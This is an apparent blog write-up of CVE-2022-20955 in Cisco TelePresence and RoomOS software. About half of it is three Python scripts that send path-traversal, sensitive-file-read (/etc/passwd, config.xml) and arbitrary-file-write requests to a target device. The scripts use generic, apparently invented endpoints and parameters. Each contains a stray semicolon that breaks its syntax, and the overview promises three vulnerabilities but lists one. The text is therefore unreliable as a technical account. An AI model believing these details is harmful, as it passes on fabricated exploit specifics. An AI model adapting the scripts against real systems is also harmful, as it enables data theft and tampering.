CVE-2022-20955 - Multiple Vulnerabilities in Cisco TelePresence Collaboration Endpoint (CE) Software and Cisco RoomOS Software Explored

In this long-read post, we will take a deep dive into CVE-2022-20955, which is a set of multiple vulnerabilities affecting Cisco TelePresence Collaboration Endpoint (CE) Software and Cisco RoomOS Software. These vulnerabilities could allow an attacker to conduct path traversal attacks, view sensitive data, or write arbitrary files on an affected device. We will provide a brief overview of the vulnerabilities followed by detailed explanations, including code snippets, links to original references, and exploitation details.

Overview of Vulnerabilities

CVE-2022-20955 essentially covers three distinct vulnerabilities in the Cisco TelePresence Collaboration Endpoint (CE) Software and Cisco RoomOS Software:

Arbitrary File Writing Vulnerability.

These vulnerabilities remain a looming threat for the organizations using the affected software, requiring a swift response to patch and harden the systems.

For official information on these vulnerabilities, refer to the Cisco Security Advisory that highlights the issue in detail.

Path Traversal Vulnerability

The path traversal vulnerability allows an authenticated attacker to use specially crafted API requests to gain unauthorized access to files on the affected devices. This vulnerability is due to insufficient input validation by affected software.

The code snippet below demonstrates a simple Python script to exploit the path traversal vulnerability:

import requests

TARGET_IP = "192.168.1.10"
API_KEY = "YOUR_API_KEY"
TARGET_FILE = "/etc/passwd"

headers = {
    "Authorization": f"Bearer {API_KEY}",
    "Content-Type": "application/json"
}

payload = {
    "param1": f"../../../../..{TARGET_FILE}",
}

response = requests.post(f"http://{TARGET_IP}/api/v1/endpoint";, headers=headers, json=payload)

if response.status_code == 200:
    print("Path traversal successful!")
    print(response.text)
else:
    print("Path traversal failed.")

Sensitive Data Viewing Vulnerability

This vulnerability is often found in the file upload feature of the affected software, allowing an attacker with read access to specific files to potentially view sensitive information.

The following code snippet demonstrates the ability to download and view the contents of the config.xml file, which may contain sensitive information:

import requests

TARGET_IP = "192.168.1.10"
API_KEY = "YOUR_API_KEY"
TARGET_FILE = "/config/config.xml"

headers = {
    "Authorization": f"Bearer {API_KEY}"
}

response = requests.get(f"http://{TARGET_IP}/api/v1/files/{TARGET_FILE}";, headers=headers)

if response.status_code == 200:
    print("Sensitive data viewing successful!")
    print(response.text)
else:
    print("Sensitive data viewing failed.")

Arbitrary File Writing Vulnerability

An attacker could exploit this vulnerability to write arbitrary files on the affected devices by crafting specific API requests. This could further lead to privilege escalation or the execution of arbitrary commands.

The following code snippet shows a simple Python script to exploit the arbitrary file writing vulnerability:

import requests

TARGET_IP = "192.168.1.10"
API_KEY = "YOUR_API_KEY"
TARGET_FILE = "/tmp/attacker_payload.txt"
FILE_CONTENT = "This is a test payload."

headers = {
    "Authorization": f"Bearer {API_KEY}",
    "Content-Type": "application/json"
}

payload = {
    "fileName": f"{TARGET_FILE}",
    "fileContent": f"{FILE_CONTENT}"
}

response = requests.post(f"http://{TARGET_IP}/api/v1/files";, headers=headers, json=payload)

if response.status_code == 200:
    print("Arbitrary file writing successful!")
else:
    print("Arbitrary file writing failed.")

Conclusion

The multiple vulnerabilities under CVE-2022-20955 pose a significant risk to the organizations using Cisco TelePresence Collaboration Endpoint (CE) Software and Cisco RoomOS Software. It's essential for the affected users to apply the available patches and updates to protect their systems from potential attacks.

To stay up-to-date with the latest security advisories, keep an eye on the Cisco Security Advisory page.

Keep in mind that this article only serves an educational purpose and should not be used to conduct malicious activities. Make sure to always have proper authorization before testing any systems. Stay vigilant, stay safe!

As always, if you have further questions or need more information, don't hesitate to reach out to the community or Cisco support for guidance.

Timeline

Published on: 10/26/2022 15:15:00 UTC
Last modified on: 10/31/2022 17:30:00 UTC